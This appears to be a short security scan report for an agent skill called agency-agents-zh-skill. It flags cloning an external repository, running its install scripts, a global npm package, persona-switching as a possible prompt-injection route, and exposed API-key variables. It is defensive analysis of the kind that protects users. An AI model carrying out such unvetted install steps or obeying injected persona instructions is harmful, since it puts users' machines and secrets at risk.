The Agent Skills Directory

[EXTERNAL_DOWNLOADS]: The skill instructs users to clone a remote repository from a non-whitelisted source: https://github.com/jnMetaCode/agency-agents-zh.git.
[REMOTE_CODE_EXECUTION]: The installation process involves executing local shell scripts (./scripts/install.sh and ./scripts/convert.sh) immediately after cloning the external repository. These scripts have the capability to execute arbitrary commands on the user's machine.
[COMMAND_EXECUTION]: The skill directs the user to install a global Node.js package agency-orchestrator using npm install -g, which originates from an untrusted third-party source and possesses significant control over the environment.
[PROMPT_INJECTION]: While primarily instructional, the skill contains directions to "activate" or "switch" to specific expert roles, which could be used as a vector for indirect prompt injection if the persona files themselves contain malicious instructions (though this depends on the content of the external repository).
[DATA_EXFILTRATION]: The skill documentation lists various sensitive environment variables for API keys (e.g., DEEPSEEK_API_KEY, FEISHU_APP_SECRET). While it follows the safe practice of using .env files, the combination of third-party script execution and the presence of these keys creates a risk surface for potential exfiltration.

agency-agents-zh-skill